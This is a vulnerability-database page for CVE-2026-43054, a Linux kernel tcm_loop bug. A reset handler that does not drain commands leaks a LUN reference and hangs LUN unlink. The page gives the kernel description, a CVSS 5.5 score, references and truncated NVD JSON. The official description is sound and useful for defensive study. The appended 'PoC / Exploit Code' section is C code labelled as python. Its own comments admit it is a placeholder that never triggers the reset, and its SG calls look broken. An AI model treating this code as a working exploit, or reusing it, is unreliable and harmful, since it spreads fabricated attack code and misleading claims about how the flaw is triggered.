CVE-2026-43054

Description

In the Linux kernel, the following vulnerability has been resolved: scsi: target: tcm_loop: Drain commands in target_reset handler tcm_loop_target_reset() violates the SCSI EH contract: it returns SUCCESS without draining any in-flight commands. The SCSI EH documentation (scsi_eh.rst) requires that when a reset handler returns SUCCESS the driver has made lower layers "forget about timed out scmds" and is ready for new commands. Every other SCSI LLD (virtio_scsi, mpt3sas, ipr, scsi_debug, mpi3mr) enforces this by draining or completing outstanding commands before returning SUCCESS. Because tcm_loop_target_reset() doesn't drain, the SCSI EH reuses in-flight scsi_cmnd structures for recovery commands (e.g. TUR) while the target core still has async completion work queued for the old se_cmd. The memset in queuecommand zeroes se_lun and lun_ref_active, causing transport_lun_remove_cmd() to skip its percpu_ref_put(). The leaked LUN reference prevents transport_clear_lun_ref() from completing, hanging configfs LUN unlink forever in D-state: INFO: task rm:264 blocked for more than 122 seconds. rm D 0 264 258 0x00004000 Call Trace: __schedule+0x3d0/0x8e0 schedule+0x36/0xf0 transport_clear_lun_ref+0x78/0x90 [target_core_mod] core_tpg_remove_lun+0x28/0xb0 [target_core_mod] target_fabric_port_unlink+0x50/0x60 [target_core_mod] configfs_unlink+0x156/0x1f0 [configfs] vfs_unlink+0x109/0x290 do_unlinkat+0x1d5/0x2d0 Fix this by making tcm_loop_target_reset() actually drain commands: 1. Issue TMR_LUN_RESET via tcm_loop_issue_tmr() to drain all commands that the target core knows about (those not yet CMD_T_COMPLETE). 2. Use blk_mq_tagset_busy_iter() to iterate all started requests and flush_work() on each se_cmd — this drains any deferred completion work for commands that already had CMD_T_COMPLETE set before the TMR (which the TMR skips via __target_check_io_state()). This is the same pattern used by mpi3mr, scsi_debug, and libsas to drain outstanding commands during reset.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复前版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <scsi/sg.h>

/*
 * Conceptual Proof of Concept for CVE-2026-43054
 * This code attempts to trigger the race condition in tcm_loop_target_reset.
 * It requires a vulnerable kernel and access to a SCSI device.
 *
 * Steps:
 * 1. Open a SCSI generic device (e.g., /dev/sg0).
 * 2. Generate I/O traffic to create in-flight commands.
 * 3. Trigger a device reset (simulated here, usually requires specific timing/hardware).
 */

int main() {
    const char *device = "/dev/sg0";
    int fd = open(device, O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        return 1;
    }

    printf("Sending commands to trigger condition...\n");
    
    // Send multiple commands to ensure some are in-flight during reset
    for (int i = 0; i < 100; i++) {
        unsigned char cmd[6] = {0}; // TEST UNIT READY
        sg_io_hdr_t io_hdr = {0};
        
        io_hdr.interface_id = 'S';
        io_hdr.cmdp = cmd;
        io_hdr.cmd_len = 6;
        io_hdr.dxfer_direction = SG_DXFER_NONE;
        
        // In a real exploit, precise timing is needed to align
        // the reset with the memset operation.
        write(fd, &io_hdr, sizeof(io_hdr));
    }

    // Triggering the reset path usually requires an error condition
    // or specific ioctl call which is not standard in user space.
    // This is a placeholder for the trigger mechanism.
    printf("Potential trigger sent. Check system for hung tasks.\n");
    
    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43054
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43054
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43054/
[4] VulDB https://vuldb.com/cve/CVE-2026-43054
[5] https://git.kernel.org/stable/c/05ac3754467363558a0a54ae4bb7c89b2c9574cf
[6] https://git.kernel.org/stable/c/103f79e4949513247d763c6e7f3cbbf62017afdf
[7] https://git.kernel.org/stable/c/1333eee56cdf3f0cf67c6ab4114c2c9e0a952026
[8] https://git.kernel.org/stable/c/15f5241d5a52364a7e7867b49128b0442dbcad9d
[9] https://git.kernel.org/stable/c/757c43c692294cdfad31390accc0e90429b2ef8a
[10] https://git.kernel.org/stable/c/7cbd69aaa507b1245240a28022bf5da0f07c68d9
[11] https://git.kernel.org/stable/c/a836054ea81014117ec6b73529a21626a9e1f829

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43054", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:51.910", "lastModified": "2026-05-07T18:28:19.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: tcm_loop: Drain commands in target_reset handler\n\ntcm_loop_target_reset() violates the SCSI EH contract: it returns SUCCESS\nwithout draining any in-flight commands. The SCSI EH documentation\n(scsi_eh.rst) requires that when a reset handler returns SUCCESS the driver\nhas made lower layers \"forget about timed out scmds\" and is ready for new\ncommands. Every other SCSI LLD (virtio_scsi, mpt3sas, ipr, scsi_debug,\nmpi3mr) enforces this by draining or completing outstanding commands before\nreturning SUCCESS.\n\nBecause tcm_loop_target_reset() doesn't drain, the SCSI EH reuses in-flight\nscsi_cmnd structures for recovery commands (e.g. TUR) while the target core\nstill has async completion work queued for the old se_cmd. The memset in\nqueuecommand zeroes se_lun and lun_ref_active, causing\ntransport_lun_remove_cmd() to skip its percpu_ref_put(). The leaked LUN\nreference prevents transport_clear_lun_ref() from completing, hanging\nconfigfs LUN unlink forever in D-state:\n\n INFO: task rm:264 blocked for more than 122 seconds.\n rm D 0 264 258 0x00004000\n Call Trace:\n __schedule+0x3d0/0x8e0\n schedule+0x36/0xf0\n transport_clear_lun_ref+0x78/0x90 [target_core_mod]\n core_tpg_remove_lun+0x28/0xb0 [target_core_mod]\n target_fabric_port_unlink+0x50/0x60 [target_core_mod]\n configfs_unlink+0x156/0x1f0 [configfs]\n vfs_unlink+0x109/0x290\n do_unlinkat+0x1d5/0x2d0\n\nFix this by making tcm_loop_target_reset() actually drain commands:\n\n 1. Issue TMR_LUN_RESET via tcm_loop_issue_tmr() to drain all commands that\n the target core knows about (those not yet CMD_T_COMPLETE).\n\n 2. Use blk_mq_tagset_busy_iter() to iterate all started requests and\n flush_work() on each se_cmd — this drains any deferred completion work\n for commands that already had CMD_T_COMPLETE set before the TMR (which\n the TMR skips via __target_check_io_state()). This is the same pattern\n used by mpi3mr, scsi_debug, and libsas to drain outstanding commands\n during reset."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-772"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.13", "versionEndExcluding": "5.15.203", "matchCriteriaId": "985804EB-66D2-4D4A-AF5D-D7A87E940EEE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": ... (truncated)